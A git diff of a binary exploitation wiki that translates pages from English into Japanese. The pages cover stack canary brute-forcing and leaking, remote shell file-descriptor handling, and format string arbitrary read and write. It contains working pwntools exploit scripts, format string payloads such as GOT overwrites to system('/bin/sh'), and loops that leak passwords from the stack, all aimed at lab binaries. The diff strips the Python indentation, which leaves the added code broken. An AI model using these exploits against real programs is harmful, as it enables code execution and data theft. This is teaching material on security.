+また、この例では**プログラムが最初に入力のサイズを示すバイト**とペイロードを期待していることに注意してください。 ```python from pwn import * # Here is the function to brute force the canary def breakCanary(): - known_canary = b"" - test_canary = 0x0 - len_bytes_to_read = 0x21 +known_canary = b"" +test_canary = 0x0 +len_bytes_to_read = 0x21 - for j in range(0, 4): - # Iterate up to 0xff times to brute force all posible values for byte - for test_canary in range(0xff): - print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="") +for j in range(0, 4): +# Iterate up to 0xff times to brute force all posible values for byte +for test_canary in range(0xff): +print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="") - # Send the current input size - target.send(len_bytes_to_read.to_bytes(1, "little")) +# Send the current input size +target.send(len_bytes_to_read.to_bytes(1, "little")) - # Send this iterations canary - target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little")) +# Send this iterations canary +target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little")) - # Scan in the output, determine if we have a correct value - output = target.recvuntil(b"exit.") - if b"YUM" in output: - # If we have a correct value, record the canary value, reset the canary value, and move on - print(" - next byte is: " + hex(test_canary)) - known_canary = known_canary + test_canary.to_bytes(1, "little") - len_bytes_to_read += 1 - break +# Scan in the output, determine if we have a correct value +output = target.recvuntil(b"exit.") +if b"YUM" in output: +# If we have a correct value, record the canary value, reset the canary value, and move on +print(" - next byte is: " + hex(test_canary)) +known_canary = known_canary + test_canary.to_bytes(1, "little") +len_bytes_to_read += 1 +break - # Return the canary - return known_canary +# Return the canary +return known_canary # Start the target process target = process('./feedme') @@ -104,18 +101,17 @@ target = process('./feedme') canary = breakCanary() log.info(f"The canary is: {canary}") ``` +## スレッド -## Threads +同じプロセスのスレッドは**同じカナリアトークンを共有する**ため、バイナリが攻撃のたびに新しいスレッドを生成する場合、カナリアを**ブルートフォース**することが可能です。 -Threads of the same process will also **share the same canary token**, therefore it'll be possible to **brute-forc**e a canary if the binary spawns a new thread every time an attack happens. +さらに、カナリアで保護された**スレッド関数のバッファオーバーフロー**を利用して、**TLSに保存されたマスターカナリアを変更する**ことができます。これは、スレッドの**スタック**内での**bof**を介してTLSが保存されているメモリ位置に到達することが可能であるためです。\ +その結果、チェックは同じ(ただし変更された)2つのカナリアを使用しているため、緩和策は無意味です。\ +この攻撃は、次の書き込みで実行されます: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads) -Moreover, a buffer **overflow in a threaded function** protected with canary could be used to **modify the master canary stored in the TLS**. This is because, it might be possible to reach the memory position where the TLS is stored (and therefore, the canary) via a **bof in the stack** of a thread.\ -As a result, the mitigation is useless because the check is used with two canaries that are the same (although modified).\ -This attack is performed in the writeup: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads) +また、[https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015)のプレゼンテーションも確認してください。ここでは、通常**TLS**は**`mmap`**によって保存され、**スレッド**の**スタック**が作成されるときも`mmap`によって生成されるため、前述の書き込みで示されたようにオーバーフローが可能になることが言及されています。 -Check also the presentation of [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015) which mentions that usually the **TLS** is stored by **`mmap`** and when a **stack** of **thread** is created it's also generated by `mmap` according to this, which might allow the overflow as shown in the previous writeup. - -## Other examples & references +## その他の例と参考文献 - [https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html) - - 64 bits, no PIE, nx, BF canary, write in some memory a ROP to call `execve` and jump there. +- 64ビット、PIEなし、nx、BFカナリア、`execve`を呼び出すROPをメモリに書き込み、そこにジャンプします。 diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md b/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md index e4d3eed44..58006b8f5 100644 --- a/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md @@ -4,30 +4,30 @@ ## Enlarge printed stack -Imagine a situation where a **program vulnerable** to stack overflow can execute a **puts** function **pointing** to **part** of the **stack overflow**. The attacker knows that the **first byte of the canary is a null byte** (`\x00`) and the rest of the canary are **random** bytes. Then, the attacker may create an overflow that **overwrites the stack until just the first byte of the canary**. +スタックオーバーフローに脆弱な**プログラム**が**スタックオーバーフロー**の**一部**を指す**puts**関数を実行できる状況を想像してください。攻撃者は**カナリアの最初のバイトがヌルバイト**(`\x00`)であり、残りのカナリアは**ランダム**なバイトであることを知っています。次に、攻撃者は**カナリアの最初のバイト**までスタックを**上書きする**オーバーフローを作成することができます。 -Then, the attacker **calls the puts functionalit**y on the middle of the payload which will **print all the canary** (except from the first null byte). +その後、攻撃者はペイロードの中間で**puts機能**を呼び出し、**カナリアのすべて**を**印刷**します(最初のヌルバイトを除く)。 -With this info the attacker can **craft and send a new attack** knowing the canary (in the same program session). +この情報を使って、攻撃者は**カナリア**を知っている状態で**新しい攻撃を作成して送信**することができます(同じプログラムセッション内で)。 -Obviously, this tactic is very **restricted** as the attacker needs to be able to **print** the **content** of his **payload** to **exfiltrate** the **canary** and then be able to create a new payload (in the **same program session**) and **send** the **real buffer overflow**. +明らかに、この戦術は非常に**制限されて**おり、攻撃者は**ペイロードの内容**を**印刷**して**カナリアを抽出**し、その後**新しいペイロード**を作成して(**同じプログラムセッション内で**)**実際のバッファオーバーフローを送信**する必要があります。 -**CTF examples:** +**CTFの例:** - [**https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html**](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html) - - 64 bit, ASLR enabled but no PIE, the first step is to fill an overflow until the byte 0x00 of the canary to then call puts and leak it. With the canary a ROP gadget is created to call puts to leak the address of puts from the GOT and the a ROP gadget to call `system('/bin/sh')` +- 64ビット、ASLRが有効ですがPIEはなし、最初のステップはカナリアのバイト0x00までオーバーフローを埋めてからputsを呼び出して漏洩させることです。カナリアを使ってROPガジェットを作成し、putsを呼び出してGOTからputsのアドレスを漏洩させ、次に`system('/bin/sh')`を呼び出すROPガジェットを作成します。 - [**https://guyinatuxedo.github.io/14-ret_2_system/hxp18_poorCanary/index.html**](https://guyinatuxedo.github.io/14-ret_2_system/hxp18_poorCanary/index.html) - - 32 bit, ARM, no relro, canary, nx, no pie. Overflow with a call to puts on it to leak the canary + ret2lib calling `system` with a ROP chain to pop r0 (arg `/bin/sh`) and pc (address of system) +- 32ビット、ARM、relroなし、カナリア、nx、pieなし。カナリアを漏洩させるためにputsを呼び出すオーバーフロー + ROPチェーンで`system`を呼び出すためにr0(引数`/bin/sh`)とpc(systemのアドレス)をポップします。 ## Arbitrary Read -With an **arbitrary read** like the one provided by format **strings** it might be possible to leak the canary. Check this example: [**https://ir0nstone.gitbook.io/notes/types/stack/canaries**](https://ir0nstone.gitbook.io/notes/types/stack/canaries) and you can read about abusing format strings to read arbitrary memory addresses in: +フォーマット**文字列**によって提供される**任意の読み取り**を使用すると、カナリアを漏洩させることができるかもしれません。この例を確認してください: [**https://ir0nstone.gitbook.io/notes/types/stack/canaries**](https://ir0nstone.gitbook.io/notes/types/stack/canaries) そして、任意のメモリアドレスを読み取るためにフォーマット文字列を悪用することについては以下を参照してください: {{#ref}} ../../format-strings/ {{#endref}} - [https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html](https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html) - - This challenge abuses in a very simple way a format string to read the canary from the stack +- このチャレンジは、スタックからカナリアを読み取るために非常にシンプルな方法でフォーマット文字列を悪用しています。 {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/common-exploiting-problems.md b/src/binary-exploitation/common-exploiting-problems.md index 1aaf06372..c8c16f453 100644 --- a/src/binary-exploitation/common-exploiting-problems.md +++ b/src/binary-exploitation/common-exploiting-problems.md @@ -1,15 +1,14 @@ -# Common Exploiting Problems +# 一般的なエクスプロイトの問題 {{#include ../banners/hacktricks-training.md}} -## FDs in Remote Exploitation +## リモートエクスプロイトにおけるFD -When sending an exploit to a remote server that calls **`system('/bin/sh')`** for example, this will be executed in the server process ofc, and `/bin/sh` will expect input from stdin (FD: `0`) and will print the output in stdout and stderr (FDs `1` and `2`). So the attacker won't be able to interact with the shell. +例えば、**`system('/bin/sh')`**を呼び出すエクスプロイトをリモートサーバーに送信すると、これはサーバープロセス内で実行され、`/bin/sh`はstdin(FD: `0`)からの入力を期待し、stdoutおよびstderrに出力を印刷します(FDs `1` と `2`)。したがって、攻撃者はシェルと対話することができません。 -A way to fix this is to suppose that when the server started it created the **FD number `3`** (for listening) and that then, your connection is going to be in the **FD number `4`**. Therefore, it's possible to use the syscall **`dup2`** to duplicate the stdin (FD 0) and the stdout (FD 1) in the FD 4 (the one of the connection of the attacker) so it'll make feasible to contact the shell once it's executed. - -[**Exploit example from here**](https://ir0nstone.gitbook.io/notes/types/stack/exploiting-over-sockets/exploit): +これを修正する方法は、サーバーが起動したときに**FD番号 `3`**(リスニング用)を作成し、その後、あなたの接続が**FD番号 `4`**になると仮定することです。したがって、syscall **`dup2`**を使用してstdin(FD 0)とstdout(FD 1)をFD 4(攻撃者の接続のもの)に複製することが可能であり、これによりシェルが実行されたときに連絡を取ることが可能になります。 +[**ここからエクスプロイトの例**](https://ir0nstone.gitbook.io/notes/types/stack/exploiting-over-sockets/exploit): ```python from pwn import * @@ -26,13 +25,12 @@ p.sendline(rop.chain()) p.recvuntil('Thanks!\x00') p.interactive() ``` - ## Socat & pty -Note that socat already transfers **`stdin`** and **`stdout`** to the socket. However, the `pty` mode **include DELETE characters**. So, if you send a `\x7f` ( `DELETE` -)it will **delete the previous character** of your exploit. +socatはすでに**`stdin`**と**`stdout`**をソケットに転送します。ただし、`pty`モードは**DELETE文字**を**含みます**。したがって、`\x7f`(`DELETE` -)を送信すると、**あなたのエクスプロイトの前の文字を削除します**。 -In order to bypass this the **escape character `\x16` must be prepended to any `\x7f` sent.** +これを回避するために、**エスケープ文字`\x16`を送信する任意の`\x7f`の前に追加する必要があります。** -**Here you can** [**find an example of this behaviour**](https://ir0nstone.gitbook.io/hackthebox/challenges/pwn/dream-diary-chapter-1/unlink-exploit)**.** +**ここでこの動作の例を** [**見つけることができます**](https://ir0nstone.gitbook.io/hackthebox/challenges/pwn/dream-diary-chapter-1/unlink-exploit)**。** {{#include ../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/format-strings/README.md b/src/binary-exploitation/format-strings/README.md index 3d7bfa018..8fc9c799d 100644 --- a/src/binary-exploitation/format-strings/README.md +++ b/src/binary-exploitation/format-strings/README.md @@ -1,23 +1,16 @@ -# Format Strings +# フォーマット文字列 {{#include ../../banners/hacktricks-training.md}} -
+## 基本情報 -If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_). +Cの**`printf`**は、いくつかの文字列を**出力**するために使用できる関数です。この関数が期待する**最初のパラメータ**は、**フォーマッタを含む生のテキスト**です。続く**パラメータ**は、**生のテキストからフォーマッタを置き換えるための**値**です。 -{% embed url="https://www.stmcyber.com/careers" %} +他の脆弱な関数には**`sprintf()`**や**`fprintf()`**があります。 -## Basic Information - -In C **`printf`** is a function that can be used to **print** some string. The **first parameter** this function expects is the **raw text with the formatters**. The **following parameters** expected are the **values** to **substitute** the **formatters** from the raw text. - -Other vulnerable functions are **`sprintf()`** and **`fprintf()`**. - -The vulnerability appears when an **attacker text is used as the first argument** to this function. The attacker will be able to craft a **special input abusing** the **printf format** string capabilities to read and **write any data in any address (readable/writable)**. Being able this way to **execute arbitrary code**. - -#### Formatters: +脆弱性は、**攻撃者のテキストがこの関数の最初の引数として使用されるとき**に現れます。攻撃者は、**printfフォーマット**文字列の機能を悪用して、**任意のアドレス(読み取り可能/書き込み可能)にある任意のデータを読み書き**するための**特別な入力を作成**することができます。この方法で**任意のコードを実行**することが可能です。 +#### フォーマッタ: ```bash %08x —> 8 hex bytes %d —> Entire @@ -28,72 +21,58 @@ The vulnerability appears when an **attacker text is used as the first argument* %hn —> Occupies 2 bytes instead of 4 $X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3 ``` +**例:** -**Examples:** - -- Vulnerable example: - +- 脆弱な例: ```c char buffer[30]; gets(buffer); // Dangerous: takes user input without restrictions. printf(buffer); // If buffer contains "%x", it reads from the stack. ``` - -- Normal Use: - +- 通常の使用: ```c int value = 1205; printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5 ``` - -- With Missing Arguments: - +- 引数が不足している場合: ```c printf("%x %x %x", value); // Unexpected output: reads random values from the stack. ``` - -- fprintf vulnerable: - +- fprintf 脆弱性: ```c #include int main(int argc, char *argv[]) { - char *user_input; - user_input = argv[1]; - FILE *output_file = fopen("output.txt", "w"); - fprintf(output_file, user_input); // The user input can include formatters! - fclose(output_file); - return 0; +char *user_input; +user_input = argv[1]; +FILE *output_file = fopen("output.txt", "w"); +fprintf(output_file, user_input); // The user input can include formatters! +fclose(output_file); +return 0; } ``` +### **ポインタへのアクセス** -### **Accessing Pointers** - -The format **`%$x`**, where `n` is a number, allows to indicate to printf to select the n parameter (from the stack). So if you want to read the 4th param from the stack using printf you could do: - +フォーマット **`%$x`** は、`n` が数字である場合、printf にスタックから n 番目のパラメータを選択するよう指示します。したがって、printf を使用してスタックから 4 番目のパラメータを読み取りたい場合は、次のようにできます: ```c printf("%x %x %x %x") ``` +最初のパラメータから4番目のパラメータまで読み取ります。 -and you would read from the first to the forth param. - -Or you could do: - +または、次のようにできます: ```c printf("%4$x") ``` +そして4番目を直接読み取ります。 -and read directly the forth. - -Notice that the attacker controls the `printf` **parameter, which basically means that** his input is going to be in the stack when `printf` is called, which means that he could write specific memory addresses in the stack. +攻撃者が`printf`の**パラメータを制御していることに注意してください。これは基本的に**、`printf`が呼び出されるときに彼の入力がスタックに存在することを意味し、特定のメモリアドレスをスタックに書き込むことができるということです。 > [!CAUTION] -> An attacker controlling this input, will be able to **add arbitrary address in the stack and make `printf` access them**. In the next section it will be explained how to use this behaviour. +> この入力を制御する攻撃者は、**スタックに任意のアドレスを追加し、`printf`がそれにアクセスできるようにします**。次のセクションでは、この動作をどのように利用するかが説明されます。 -## **Arbitrary Read** - -It's possible to use the formatter **`%n$s`** to make **`printf`** get the **address** situated in the **n position**, following it and **print it as if it was a string** (print until a 0x00 is found). So if the base address of the binary is **`0x8048000`**, and we know that the user input starts in the 4th position in the stack, it's possible to print the starting of the binary with: +## **任意の読み取り** +フォーマッタ**`%n$s`**を使用して、**`printf`**が**n位置**にある**アドレス**を取得し、それを**文字列のように印刷する**ことが可能です(0x00が見つかるまで印刷します)。したがって、バイナリのベースアドレスが**`0x8048000`**であり、ユーザー入力がスタックの4番目の位置から始まることがわかっている場合、次のようにバイナリの先頭を印刷することができます: ```python from pwn import * @@ -106,18 +85,16 @@ payload += p32(0x8048000) #6th param p.sendline(payload) log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||' ``` - > [!CAUTION] -> Note that you cannot put the address 0x8048000 at the beginning of the input because the string will be cat in 0x00 at the end of that address. +> 入力の最初にアドレス0x8048000を置くことはできません。なぜなら、そのアドレスの末尾に0x00が付加されるからです。 -### Find offset +### オフセットを見つける -To find the offset to your input you could send 4 or 8 bytes (`0x41414141`) followed by **`%1$x`** and **increase** the value till retrieve the `A's`. +入力のオフセットを見つけるために、4または8バイト(`0x41414141`)を送信し、その後に**`%1$x`**を続けて、`A`を取得するまで**値を増加**させます。
-Brute Force printf offset - +ブルートフォースprintfオフセット ```python # Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak @@ -125,88 +102,82 @@ from pwn import * # Iterate over a range of integers for i in range(10): - # Construct a payload that includes the current integer as offset - payload = f"AAAA%{i}$x".encode() +# Construct a payload that includes the current integer as offset +payload = f"AAAA%{i}$x".encode() - # Start a new process of the "chall" binary - p = process("./chall") +# Start a new process of the "chall" binary +p = process("./chall") - # Send the payload to the process - p.sendline(payload) +# Send the payload to the process +p.sendline(payload) - # Read and store the output of the process - output = p.clean() +# Read and store the output of the process +output = p.clean() - # Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output - if b"41414141" in output: - # If the string is found, log the success message and break out of the loop - log.success(f"User input is at offset : {i}") - break +# Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output +if b"41414141" in output: +# If the string is found, log the success message and break out of the loop +log.success(f"User input is at offset : {i}") +break - # Close the process - p.close() +# Close the process +p.close() ``` -
-### How useful +### どれほど役立つか -Arbitrary reads can be useful to: +任意の読み取りは以下に役立ちます: -- **Dump** the **binary** from memory -- **Access specific parts of memory where sensitive** **info** is stored (like canaries, encryption keys or custom passwords like in this [**CTF challenge**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value)) +- **メモリから** **バイナリ**を**ダンプ**する +- **機密情報が保存されているメモリの特定の部分にアクセスする**(カナリア、暗号化キー、またはこの[**CTFチャレンジ**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value)のようなカスタムパスワードなど) -## **Arbitrary Write** +## **任意の書き込み** -The formatter **`%$n`** **writes** the **number of written bytes** in the **indicated address** in the \ param in the stack. If an attacker can write as many char as he will with printf, he is going to be able to make **`%$n`** write an arbitrary number in an arbitrary address. - -Fortunately, to write the number 9999, it's not needed to add 9999 "A"s to the input, in order to so so it's possible to use the formatter **`%.%$n`** to write the number **``** in the **address pointed by the `num` position**. +フォーマッタ **`%$n`** は、スタックの\パラメータにおいて**指定されたアドレス**に**書き込まれたバイト数**を**書き込みます**。攻撃者がprintfを使って任意の数の文字を書き込むことができれば、**`%$n`** を使って任意のアドレスに任意の数を**書き込む**ことができるようになります。 +幸いなことに、9999という数を書くために、入力に9999個の"A"を追加する必要はなく、フォーマッタ **`%.%$n`** を使用して、**``**という数を**`num`位置が指すアドレスに書き込む**ことが可能です。 ```bash AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param AAAA.%500\$08x —> Param at offset 500 ``` +ただし、通常、`0x08049724`のようなアドレスを書くためには(これは一度に書くには非常に大きな数です)、**`$hn`**が**`$n`**の代わりに使用されます。これにより、**2バイトだけを書く**ことができます。したがって、この操作は2回行われ、アドレスの最上位2バイトと最下位2バイトのそれぞれに対して行われます。 -However, note that usually in order to write an address such as `0x08049724` (which is a HUGE number to write at once), **it's used `$hn`** instead of `$n`. This allows to **only write 2 Bytes**. Therefore this operation is done twice, one for the highest 2B of the address and another time for the lowest ones. +したがって、この脆弱性は**任意のアドレスに何でも書き込むことを可能にします(任意書き込み)。** -Therefore, this vulnerability allows to **write anything in any address (arbitrary write).** - -In this example, the goal is going to be to **overwrite** the **address** of a **function** in the **GOT** table that is going to be called later. Although this could abuse other arbitrary write to exec techniques: +この例では、目標は**後で呼び出される**関数の**アドレス**を**上書き**することです。これは他の任意書き込みからexec技術を悪用する可能性があります: {{#ref}} ../arbitrary-write-2-exec/ {{#endref}} -We are going to **overwrite** a **function** that **receives** its **arguments** from the **user** and **point** it to the **`system`** **function**.\ -As mentioned, to write the address, usually 2 steps are needed: You **first writes 2Bytes** of the address and then the other 2. To do so **`$hn`** is used. +私たちは、**ユーザー**から**引数**を**受け取る**関数を**上書き**し、それを**`system`**関数に**ポイント**します。\ +前述のように、アドレスを書くには通常2ステップが必要です:最初にアドレスの2バイトを書き、その後に残りの2バイトを書きます。そのために**`$hn`**が使用されます。 -- **HOB** is called to the 2 higher bytes of the address -- **LOB** is called to the 2 lower bytes of the address +- **HOB**はアドレスの上位2バイトに呼び出されます +- **LOB**はアドレスの下位2バイトに呼び出されます -Then, because of how format string works you need to **write first the smallest** of \[HOB, LOB] and then the other one. +次に、フォーマット文字列の動作のために、最初に\[HOB, LOB\]の中で最小のものを**書く必要があります**、その後にもう一方を書きます。 -If HOB < LOB\ +HOB < LOB\ `[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]` -If HOB > LOB\ +HOB > LOB\ `[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]` HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB - ```bash python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"' ``` +### Pwntools テンプレート -### Pwntools Template - -You can find a **template** to prepare a exploit for this kind of vulnerability in: +この種の脆弱性に対するエクスプロイトを準備するための**テンプレート**は次の場所にあります: {{#ref}} format-strings-template.md {{#endref}} -Or this basic example from [**here**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite): - +または、[**こちら**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite)の基本的な例を参照してください: ```python from pwn import * @@ -225,27 +196,20 @@ p.sendline('/bin/sh') p.interactive() ``` +## フォーマット文字列からBOFへ -## Format Strings to BOF +フォーマット文字列の脆弱性の書き込みアクションを悪用して、**スタックのアドレスに書き込む**ことが可能であり、**バッファオーバーフロー**タイプの脆弱性を悪用することができます。 -It's possible to abuse the write actions of a format string vulnerability to **write in addresses of the stack** and exploit a **buffer overflow** type of vulnerability. - -## Other Examples & References +## その他の例と参考文献 - [https://ir0nstone.gitbook.io/notes/types/stack/format-string](https://ir0nstone.gitbook.io/notes/types/stack/format-string) - [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4) - [https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak) - [https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html](https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html) - - 32 bit, no relro, no canary, nx, no pie, basic use of format strings to leak the flag from the stack (no need to alter the execution flow) +- 32ビット、relroなし、canaryなし、nx、pieなし、スタックからフラグを漏洩させるためのフォーマット文字列の基本的な使用(実行フローを変更する必要はありません) - [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html) - - 32 bit, relro, no canary, nx, no pie, format string to overwrite the address `fflush` with the win function (ret2win) +- 32ビット、relroあり、canaryなし、nx、pieなし、`fflush`のアドレスをwin関数で上書きするためのフォーマット文字列(ret2win) - [https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html](https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html) - - 32 bit, relro, no canary, nx, no pie, format string to write an address inside main in `.fini_array` (so the flow loops back 1 more time) and write the address to `system` in the GOT table pointing to `strlen`. When the flow goes back to main, `strlen` is executed with user input and pointing to `system`, it will execute the passed commands. - -
- -If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_). - -{% embed url="https://www.stmcyber.com/careers" %} +- 32ビット、relroあり、canaryなし、nx、pieなし、`.fini_array`内のmainのアドレスに書き込むためのフォーマット文字列(フローがもう1回ループバックするように)および`system`のアドレスをGOTテーブルに書き込み、`strlen`を指す。フローがmainに戻ると、`strlen`がユーザー入力で実行され、`system`を指すと、渡されたコマンドが実行されます。 {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/format-strings/format-strings-arbitrary-read-example.md b/src/binary-exploitation/format-strings/format-strings-arbitrary-read-example.md index 0665b14a1..49ad63a87 100644 --- a/src/binary-exploitation/format-strings/format-strings-arbitrary-read-example.md +++ b/src/binary-exploitation/format-strings/format-strings-arbitrary-read-example.md @@ -1,32 +1,27 @@ -# Format Strings - Arbitrary Read Example +# フォーマット文字列 - 任意の読み取り例 {{#include ../../banners/hacktricks-training.md}} -## Read Binary Start - -### Code +## バイナリの読み取り開始 +### コード ```c #include int main(void) { - char buffer[30]; +char buffer[30]; - fgets(buffer, sizeof(buffer), stdin); +fgets(buffer, sizeof(buffer), stdin); - printf(buffer); - return 0; +printf(buffer); +return 0; } ``` - -Compile it with: - +次のコマンドでコンパイルします: ```python clang -o fs-read fs-read.c -Wno-format-security -no-pie ``` - -### Exploit - +### エクスプロイト ```python from pwn import * @@ -38,16 +33,14 @@ payload += p64(0x00400000) p.sendline(payload) log.info(p.clean()) ``` - -- The **offset is 11** because setting several As and **brute-forcing** with a loop offsets from 0 to 50 found that at offset 11 and with 5 extra chars (pipes `|` in our case), it's possible to control a full address. - - I used **`%11$p`** with padding until I so that the address was all 0x4141414141414141 -- The **format string payload is BEFORE the address** because the **printf stops reading at a null byte**, so if we send the address and then the format string, the printf will never reach the format string as a null byte will be found before -- The address selected is 0x00400000 because it's where the binary starts (no PIE) +- **オフセットは11です**。いくつかのAを設定し、0から50までのループで**ブルートフォース**を行った結果、オフセット11で5つの追加文字(この場合はパイプ`|`)を使うことで、完全なアドレスを制御できることがわかりました。 +- **`%11$p`**を使用し、アドレスがすべて0x4141414141414141になるまでパディングしました。 +- **フォーマット文字列のペイロードはアドレスの前にあります**。なぜなら、**printfはヌルバイトで読み取りを停止するため**、アドレスを送信してからフォーマット文字列を送信すると、ヌルバイトが見つかる前にprintfはフォーマット文字列に到達しないからです。 +- 選択したアドレスは0x00400000です。これはバイナリが開始する場所です(PIEなし)。
-## Read passwords - +## パスワードを読む ```c #include #include @@ -55,111 +48,103 @@ log.info(p.clean()) char bss_password[20] = "hardcodedPassBSS"; // Password in BSS int main() { - char stack_password[20] = "secretStackPass"; // Password in stack - char input1[20], input2[20]; +char stack_password[20] = "secretStackPass"; // Password in stack +char input1[20], input2[20]; - printf("Enter first password: "); - scanf("%19s", input1); +printf("Enter first password: "); +scanf("%19s", input1); - printf("Enter second password: "); - scanf("%19s", input2); +printf("Enter second password: "); +scanf("%19s", input2); - // Vulnerable printf - printf(input1); - printf("\n"); +// Vulnerable printf +printf(input1); +printf("\n"); - // Check both passwords - if (strcmp(input1, stack_password) == 0 && strcmp(input2, bss_password) == 0) { - printf("Access Granted.\n"); - } else { - printf("Access Denied.\n"); - } +// Check both passwords +if (strcmp(input1, stack_password) == 0 && strcmp(input2, bss_password) == 0) { +printf("Access Granted.\n"); +} else { +printf("Access Denied.\n"); +} - return 0; +return 0; } ``` - -Compile it with: - +次のコマンドでコンパイルします: ```bash clang -o fs-read fs-read.c -Wno-format-security ``` +### スタックからの読み取り -### Read from stack - -The **`stack_password`** will be stored in the stack because it's a local variable, so just abusing printf to show the content of the stack is enough. This is an exploit to BF the first 100 positions to leak the passwords form the stack: - +**`stack_password`** はローカル変数であるため、スタックに保存されます。したがって、printfを悪用してスタックの内容を表示するだけで十分です。これは、最初の100位置をBFしてスタックからパスワードを漏洩させるためのエクスプロイトです: ```python from pwn import * for i in range(100): - print(f"Try: {i}") - payload = f"%{i}$s\na".encode() - p = process("./fs-read") - p.sendline(payload) - output = p.clean() - print(output) - p.close() +print(f"Try: {i}") +payload = f"%{i}$s\na".encode() +p = process("./fs-read") +p.sendline(payload) +output = p.clean() +print(output) +p.close() ``` - -In the image it's possible to see that we can leak the password from the stack in the `10th` position: +画像では、`10th`の位置からスタックのパスワードを漏洩できることがわかります:
-### Read data +### データの読み取り -Running the same exploit but with `%p` instead of `%s` it's possible to leak a heap address from the stack at `%25$p`. Moreover, comparing the leaked address (`0xaaaab7030894`) with the position of the password in memory in that process we can obtain the addresses difference: +同じエクスプロイトを`%s`の代わりに`%p`を使って実行すると、スタックからヒープアドレスを`%25$p`で漏洩できます。さらに、漏洩したアドレス(`0xaaaab7030894`)をそのプロセスのメモリ内のパスワードの位置と比較することで、アドレスの差を取得できます:
-Now it's time to find how to control 1 address in the stack to access it from the second format string vulnerability: - +次は、2つ目のフォーマット文字列の脆弱性からアクセスするために、スタック内の1つのアドレスを制御する方法を見つける時です: ```python from pwn import * def leak_heap(p): - p.sendlineafter(b"first password:", b"%5$p") - p.recvline() - response = p.recvline().strip()[2:] #Remove new line and "0x" prefix - return int(response, 16) +p.sendlineafter(b"first password:", b"%5$p") +p.recvline() +response = p.recvline().strip()[2:] #Remove new line and "0x" prefix +return int(response, 16) for i in range(30): - p = process("./fs-read") +p = process("./fs-read") - heap_leak_addr = leak_heap(p) - print(f"Leaked heap: {hex(heap_leak_addr)}") +heap_leak_addr = leak_heap(p) +print(f"Leaked heap: {hex(heap_leak_addr)}") - password_addr = heap_leak_addr - 0x126a +password_addr = heap_leak_addr - 0x126a - print(f"Try: {i}") - payload = f"%{i}$p|||".encode() - payload += b"AAAAAAAA" +print(f"Try: {i}") +payload = f"%{i}$p|||".encode() +payload += b"AAAAAAAA" - p.sendline(payload) - output = p.clean() - print(output.decode("utf-8")) - p.close() +p.sendline(payload) +output = p.clean() +print(output.decode("utf-8")) +p.close() ``` - -And it's possible to see that in the **try 14** with the used passing we can control an address: +そして、使用されたパッシングで**try 14**においてアドレスを制御できることがわかります:
